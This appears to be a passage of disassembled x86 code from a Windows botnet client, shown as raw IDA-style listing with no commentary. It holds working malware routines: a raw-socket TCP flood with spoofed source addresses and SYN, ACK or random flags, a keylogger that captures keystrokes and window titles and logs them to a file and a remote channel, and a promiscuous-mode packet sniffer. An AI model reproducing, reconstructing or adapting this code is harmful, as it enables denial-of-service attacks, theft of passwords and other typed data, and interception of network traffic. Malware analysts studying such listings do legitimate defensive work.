sub_4018CA	endp


; =============== S U B	R O U T	I N E =======================================



sub_401B7C	proc near		; CODE XREF: sub_40182E+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40A05B
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_415A5F
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_415A5F
		mov	edi, eax
		call	sub_415543
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4018CA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_401BC7
		push	1
		pop	eax

loc_401BC7:				; CODE XREF: sub_401B7C+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401B7C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401BD6	proc near		; DATA XREF: sub_40CE55+2C1Eo

var_440		= byte ptr -440h
var_240		= dword	ptr -240h
var_23C		= byte ptr -23Ch
var_1BC		= byte ptr -1BCh
var_13C		= byte ptr -13Ch
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_8C		= byte ptr -8Ch
var_80		= byte ptr -80h
var_78		= byte ptr -78h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= word ptr -5Ah
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 440h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_240]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_9F]
		push	0Eh
		mov	[eax+19Ch], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_A0], bl
		rep stosd
		stosw
		stosb
		mov	edi, dword_42104C
		call	edi	; GetTickCount
		push	eax
		call	sub_415539
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_43A418	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_401C9F
		call	dword_43A32C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_423438
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401C7F
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_412D4C
		add	esp, 14h

loc_401C7F:				; CODE XREF: sub_401BD6+84j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40B16D
		push	[ebp+var_BC]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread

loc_401C9F:				; CODE XREF: sub_401BD6+61j
		lea	ecx, [ebp+var_34]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_34], esi
		call	dword_43A378	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401D1D
		call	dword_43A32C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_4233EC
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401CFD
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_412D4C
		add	esp, 14h

loc_401CFD:				; CODE XREF: sub_401BD6+102j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40B16D
		push	[ebp+var_BC]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread

loc_401D1D:				; CODE XREF: sub_401BD6+DFj
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_43A3D8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401D8D
		lea	eax, [ebp+var_440]
		push	offset dword_4233B8
		push	eax
		call	sub_4154E7
		cmp	[ebp+var_A8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_401D6D
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_412D4C
		add	esp, 14h

loc_401D6D:				; CODE XREF: sub_401BD6+172j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40B16D
		push	[ebp+var_BC]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread

loc_401D8D:				; CODE XREF: sub_401BD6+157j
		push	10h
		lea	eax, [ebp+var_44]
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	ebx
		call	dword_43A398	; htons
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_43A3D8	; inet_addr
		mov	[ebp+var_40], eax
		mov	[ebp+arg_0], ebx
		call	edi	; GetTickCount
		mov	[ebp+var_30], eax

loc_401DC5:				; CODE XREF: sub_401BD6+430j
		call	edi	; GetTickCount
		sub	eax, [ebp+var_30]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_B4]
		ja	loc_402089
		push	28h
		mov	[ebp+var_2C], 45h
		call	dword_43A398	; htons
		cmp	[ebp+var_B0], ebx
		mov	[ebp+var_2A], ax
		mov	[ebp+var_28], si
		mov	[ebp+var_26], bx
		mov	[ebp+var_24], 80h
		mov	[ebp+var_23], 6
		mov	[ebp+var_22], bx
		jz	short loc_401E38
		call	sub_415543
		mov	esi, eax
		shl	esi, 8
		call	sub_415543
		add	esi, eax
		shl	esi, 8
		call	sub_415543
		add	esi, eax
		shl	esi, 8
		call	sub_415543
		add	esi, eax
		push	1
		mov	[ebp+var_20], esi
		pop	esi
		jmp	short loc_401E4E
; ---------------------------------------------------------------------------

loc_401E38:				; CODE XREF: sub_401BD6+233j
		push	[ebp+var_240]
		call	sub_40A171
		pop	ecx
		push	eax
		call	dword_43A3D8	; inet_addr
		mov	[ebp+var_20], eax

loc_401E4E:				; CODE XREF: sub_401BD6+260j
		mov	eax, [ebp+var_40]
		cmp	[ebp+var_B8], ebx
		mov	[ebp+var_1C], eax
		jnz	short loc_401E6C
		call	sub_415543
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_401E72
; ---------------------------------------------------------------------------

loc_401E6C:				; CODE XREF: sub_401BD6+284j
		push	[ebp+var_B8]

loc_401E72:				; CODE XREF: sub_401BD6+294j
		call	dword_43A398	; htons
		mov	[ebp+var_16], ax
		call	sub_415543
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_43A398	; htons
		push	12345678h
		mov	[ebp+var_18], ax
		call	dword_43A394	; htonl
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_1BC]
		push	offset aSyn	; "syn"
		push	eax
		call	sub_415AC0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401EC2
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 2
		jmp	short loc_401F1E
; ---------------------------------------------------------------------------

loc_401EC2:				; CODE XREF: sub_401BD6+2E1j
		lea	eax, [ebp+var_1BC]
		push	offset aAck	; "ack"
		push	eax
		call	sub_415AC0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401EE2
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 10h
		jmp	short loc_401F1E
; ---------------------------------------------------------------------------

loc_401EE2:				; CODE XREF: sub_401BD6+301j
		lea	eax, [ebp+var_1BC]
		push	offset aRandom	; "random"
		push	eax
		call	sub_415AC0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F1E
		call	sub_415543
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_10], edx
		call	sub_415543
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_B], dl

loc_401F1E:				; CODE XREF: sub_401BD6+2EAj
					; sub_401BD6+30Aj ...
		push	200h
		mov	[ebp+var_C], 50h
		call	dword_43A398	; htons
		mov	[ebp+var_A], ax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_64], eax
		mov	eax, [ebp+var_1C]
		push	14h
		mov	[ebp+var_6], bx
		mov	[ebp+var_8], bx
		mov	[ebp+var_60], eax
		mov	[ebp+var_5C], bl
		mov	[ebp+var_5B], 6
		call	dword_43A398	; htons
		mov	[ebp+var_5A], ax
		lea	eax, [ebp+var_64]
		push	20h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_A0]
		push	34h
		push	eax
		call	sub_40A1CA
		mov	[ebp+var_8], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		call	sub_4155D0
		push	4
		lea	eax, [ebp+var_78]
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 44h
		lea	eax, [ebp+var_A0]
		push	28h
		push	eax
		call	sub_40A1CA
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4155D0
		add	esp, 14h
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_A0]
		push	3Ch
		push	eax
		push	[ebp+var_4]
		call	dword_43A3FC	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40200B
		inc	[ebp+arg_0]
		jmp	loc_401DC5
; ---------------------------------------------------------------------------

loc_40200B:				; CODE XREF: sub_401BD6+42Bj
		push	[ebp+var_4]
		call	dword_43A430	; closesocket
		call	dword_43A32C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		push	offset dword_423344
		lea	eax, [ebp+var_440]
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 18h
		cmp	[ebp+var_A8], ebx
		jnz	short loc_402069
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_412D4C
		add	esp, 14h

loc_402069:				; CODE XREF: sub_401BD6+46Ej
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40B16D
		push	[ebp+var_BC]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread

loc_402089:				; CODE XREF: sub_401BD6+203j
		push	[ebp+var_4]
		call	dword_43A430	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_B4]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_1BC]
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_4232E0
		push	eax
		call	sub_4154E7
		add	esp, 1Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_4020FA
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_412D4C
		add	esp, 14h

loc_4020FA:				; CODE XREF: sub_401BD6+4FFj
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40B16D
		push	[ebp+var_BC]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread
sub_401BD6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40211A	proc near		; CODE XREF: sub_4021FB+B4p
					; sub_4021FB+253p

var_314		= byte ptr -314h
var_114		= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= byte ptr  14h
arg_8C		= dword	ptr  94h
arg_90		= dword	ptr  98h

		push	ebp
		mov	ebp, esp

loc_40211D:				; DATA XREF: seg000:off_42F3B0o
		sub	esp, 314h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	dword_42105C	; GetLocalTime
		lea	eax, [ebp+var_114]
		push	104h
		push	eax
		call	dword_421058	; GetSystemDirectoryA
		lea	eax, [ebp+var_114]
		push	offset asc_423C30 ; "\\"
		push	eax
		call	sub_415C10
		lea	eax, [ebp+var_114]
		push	offset dword_42C20C
		push	eax
		call	sub_415C10
		lea	eax, [ebp+var_114]
		push	offset aAb	; "ab"
		push	eax
		call	sub_415BE8
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_402181
		push	1
		pop	eax
		jmp	short loc_4021F8
; ---------------------------------------------------------------------------

loc_402181:				; CODE XREF: sub_40211A+60j
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_415B96
		push	esi
		call	sub_415B40
		add	esp, 28h
		cmp	[ebp+arg_90], 0
		jnz	short loc_4021F6
		push	[ebp+arg_0]
		lea	eax, [ebp+var_314]
		push	offset dword_423BEC
		push	200h
		push	eax
		call	sub_415A6A
		push	0
		lea	eax, [ebp+var_314]
		push	[ebp+arg_8C]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 24h

loc_4021F6:				; CODE XREF: sub_40211A+A3j
		xor	eax, eax

loc_4021F8:				; CODE XREF: sub_40211A+65j
		pop	esi
		leave
		retn
sub_40211A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4021FB	proc near		; DATA XREF: sub_40CE55+1E1Eo

var_8DC		= dword	ptr -8DCh
var_8D8		= byte ptr -8D8h
var_4DC		= byte ptr -4DCh
var_2DD		= byte ptr -2DDh
var_2DC		= byte ptr -2DCh
var_DC		= byte ptr -0DCh
var_D8		= dword	ptr -0D8h
var_48		= byte ptr -48h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8DCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_8DC], 0
		push	25h
		and	[ebp+var_4], 0
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_DC]
		rep movsd
		mov	dword ptr [eax+90h], 1
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_8D8]
		rep stosd
		call	dword_43A320	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_43A334	; GetWindowTextA
		mov	ebx, 200h

loc_402256:				; CODE XREF: sub_4021FB+2C7j
		push	8
		call	dword_421060	; Sleep
		call	dword_43A320	; GetForegroundWindow
		cmp	eax, [ebp+var_8]
		jz	short loc_4022DE
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_43A334	; GetWindowTextA
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		lea	eax, [ebp+var_4DC]
		push	offset aSChangedWindow ; "%s (Changed Windows: %s)"
		push	eax
		call	sub_4154E7
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_40211A
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_415570
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_415570
		add	esp, 0Ch

loc_4022DE:				; CODE XREF: sub_4021FB+6Cj
		mov	[ebp+arg_0], offset aB ; "b"

loc_4022E5:				; CODE XREF: sub_4021FB+2BDj
		push	10h
		call	dword_43A278	; GetKeyState
		movsx	esi, ax
		mov	eax, [ebp+arg_0]
		mov	edi, [eax-4]
		push	edi
		call	dword_43A364	; GetAsyncKeyState
		test	ah, 80h
		jz	short loc_40237D
		push	14h
		call	dword_43A278	; GetKeyState
		test	ax, ax
		jz	short loc_40232E
		cmp	esi, 0FFFFFFFFh
		jle	short loc_40232E
		cmp	edi, 40h
		jle	short loc_40232E
		cmp	edi, 5Bh
		jge	short loc_40232E
		mov	[ebp+edi*4+var_8DC], 1
		jmp	loc_4024AD
; ---------------------------------------------------------------------------

loc_40232E:				; CODE XREF: sub_4021FB+112j
					; sub_4021FB+117j ...
		push	14h
		call	dword_43A278	; GetKeyState
		test	ax, ax
		jz	short loc_402359
		test	esi, esi
		jge	short loc_40236D
		cmp	edi, 40h
		jle	short loc_402359
		cmp	edi, 5Bh
		jge	short loc_402359
		mov	[ebp+edi*4+var_8DC], 2
		jmp	loc_4024AD
; ---------------------------------------------------------------------------

loc_402359:				; CODE XREF: sub_4021FB+13Ej
					; sub_4021FB+147j ...
		test	esi, esi
		jge	short loc_40236D
		mov	[ebp+edi*4+var_8DC], 3
		jmp	loc_4024AD
; ---------------------------------------------------------------------------

loc_40236D:				; CODE XREF: sub_4021FB+142j
					; sub_4021FB+160j
		mov	[ebp+edi*4+var_8DC], 4
		jmp	loc_4024AD
; ---------------------------------------------------------------------------

loc_40237D:				; CODE XREF: sub_4021FB+105j
		mov	esi, [ebp+edi*4+var_8DC]
		lea	eax, [ebp+edi*4+var_8DC]
		test	esi, esi
		jz	loc_4024AD
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_2DC]
		cmp	edi, 8
		push	eax
		jnz	short loc_4023B5
		call	sub_415CF0
		and	[ebp+eax+var_2DD], 0
		pop	ecx
		jmp	loc_4024AD
; ---------------------------------------------------------------------------

loc_4023B5:				; CODE XREF: sub_4021FB+1A5j
		call	sub_415CF0
		cmp	eax, 1B9h
		pop	ecx
		jbe	short loc_4023E7
		call	dword_43A320	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_43A334	; GetWindowTextA
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSBufferFullS ; "%s (Buffer full) (%s)"
		jmp	short loc_402428
; ---------------------------------------------------------------------------

loc_4023E7:				; CODE XREF: sub_4021FB+1C5j
		cmp	edi, 0Dh
		jnz	loc_40247F
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_415CF0
		test	eax, eax
		pop	ecx
		jz	loc_4024AD
		call	dword_43A320	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_43A334	; GetWindowTextA
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSReturnS ; "%s (Return)	(%s)"

loc_402428:				; CODE XREF: sub_4021FB+1EAj
		lea	eax, [ebp+var_4DC]
		push	eax
		call	sub_4154E7
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_40211A
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_415570
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_415570
		add	esp, 0Ch
		jmp	short loc_4024AD
; ---------------------------------------------------------------------------

loc_40247F:				; CODE XREF: sub_4021FB+1EFj
		cmp	esi, 1
		jz	short loc_402498
		cmp	esi, 3
		jz	short loc_402498
		cmp	esi, 2
		jz	short loc_402493
		cmp	esi, 4
		jnz	short loc_4024AD

loc_402493:				; CODE XREF: sub_4021FB+291j
		push	[ebp+arg_0]
		jmp	short loc_40249F
; ---------------------------------------------------------------------------

loc_402498:				; CODE XREF: sub_4021FB+287j
					; sub_4021FB+28Cj
		mov	eax, [ebp+arg_0]
		add	eax, 7
		push	eax

loc_40249F:				; CODE XREF: sub_4021FB+29Bj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_415C10
		pop	ecx
		pop	ecx

loc_4024AD:				; CODE XREF: sub_4021FB+12Ej
					; sub_4021FB+159j ...
		add	[ebp+arg_0], 14h
		cmp	[ebp+arg_0], offset dword_423BB4
		jl	loc_4022E5
		cmp	[ebp+var_4], 0
		jz	loc_402256
		push	[ebp+var_D8]
		call	sub_4152AF
		pop	ecx
		push	0
		call	dword_421048	; ExitThread
sub_4021FB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4024DC	proc near		; DATA XREF: sub_40CE55+1C67o

var_102B4	= byte ptr -102B4h
var_102AB	= byte ptr -102ABh
var_102A8	= dword	ptr -102A8h
var_102A0	= dword	ptr -102A0h
var_10293	= byte ptr -10293h
var_1028C	= byte ptr -1028Ch
var_2B4		= byte ptr -2B4h
var_B4		= dword	ptr -0B4h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 102B4h
		call	sub_415D70
		mov	edx, [ebp+arg_0]
		push	esi
		push	edi
		push	1
		pop	eax
		mov	esi, edx
		push	25h
		lea	edi, [ebp+var_B4]
		pop	ecx
		mov	[ebp+var_8], eax
		rep movsd
		mov	[edx+90h], eax
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	esi
		call	dword_43A398	; htons
		push	[ebp+var_B4]
		mov	[ebp+var_1A], ax
		call	sub_40A171
		pop	ecx
		push	eax
		call	dword_43A3D8	; inet_addr
		push	esi
		push	3
		push	2
		mov	[ebp+var_18], eax
		call	dword_43A418	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jnz	short loc_4025B1
		call	dword_43A32C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset dword_42462C
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_402594
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_412D4C
		add	esp, 14h

loc_402594:				; CODE XREF: sub_4024DC+96j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40B16D
		push	[ebp+var_30]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread

loc_4025B1:				; CODE XREF: sub_4024DC+76j
		mov	eax, [ebp+var_30]
		push	10h
		imul	eax, 234h
		mov	dword_43F534[eax], edi
		lea	eax, [ebp+var_1C]
		push	eax
		push	edi
		call	dword_43A3C4	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402636
		call	dword_43A32C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_4245E4
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_402612
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_412D4C
		add	esp, 14h

loc_402612:				; CODE XREF: sub_4024DC+114j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40B16D
		pop	ecx
		push	edi
		call	dword_43A430	; closesocket
		push	[ebp+var_30]
		call	sub_4152AF
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread

loc_402636:				; CODE XREF: sub_4024DC+F4j
		push	esi
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		push	esi
		push	esi
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	98000001h
		push	edi
		call	dword_43A344	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4026B9
		call	dword_43A32C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_424598
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_402695
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_412D4C
		add	esp, 14h

loc_402695:				; CODE XREF: sub_4024DC+197j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40B16D
		pop	ecx
		push	edi
		call	dword_43A430	; closesocket
		push	[ebp+var_30]
		call	sub_4152AF
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread

loc_4026B9:				; CODE XREF: sub_4024DC+177j
		push	ebx
		mov	ebx, offset dword_423C90

loc_4026BF:				; CODE XREF: sub_4024DC+21Bj
					; sub_4024DC+22Dj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_102B4]
		push	edi
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_102B4]
		push	esi
		push	edi
		push	eax
		push	[ebp+var_4]
		call	dword_43A3B0	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_4027D1
		cmp	[ebp+var_102AB], 6
		jnz	short loc_4026BF
		mov	eax, [ebp+var_102A8]
		cmp	[ebp+var_10293], 18h
		mov	[ebp+var_C], eax
		jnz	short loc_4026BF
		lea	eax, [ebp+var_1028C]
		push	offset aPsniff	; "[PSNIFF]"
		push	eax
		call	sub_415AC0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4026BF
		mov	eax, ebx
		xor	edi, edi
		test	eax, eax
		jz	short loc_4026BF
		mov	[ebp+arg_0], ebx

loc_40272D:				; CODE XREF: sub_4024DC+26Cj
		push	eax
		lea	eax, [ebp+var_1028C]
		push	eax
		call	sub_415AC0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40274F
		inc	edi
		add	[ebp+arg_0], 18h
		mov	eax, [ebp+arg_0]
		jnz	short loc_40272D
		jmp	loc_4026BF
; ---------------------------------------------------------------------------

loc_40274F:				; CODE XREF: sub_4024DC+262j
		lea	eax, [ebp+var_1028C]
		push	eax
		push	[ebp+var_102A0]
		call	dword_43A2D4	; htons
		movzx	eax, ax
		push	eax
		push	[ebp+var_C]
		call	dword_43A424	; inet_ntoa
		push	eax
		lea	eax, [edi+edi*2]
		mov	eax, dword_423CA4[eax*8]
		push	off_423C80[eax*4]
		lea	eax, [ebp+var_2B4]
		push	offset unk_424544
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 1Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_4027BF
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_412D4C
		add	esp, 14h

loc_4027BF:				; CODE XREF: sub_4024DC+2C1j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40B16D
		pop	ecx
		jmp	loc_4026BF
; ---------------------------------------------------------------------------

loc_4027D1:				; CODE XREF: sub_4024DC+20Ej
		call	dword_43A32C	; WSAGetLastError
		push	eax
		push	offset unk_4244FC
		lea	eax, [ebp+var_2B4]
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 10h
		cmp	[ebp+var_28], esi
		pop	ebx
		jnz	short loc_402817
		push	esi
		lea	eax, [ebp+var_2B4]
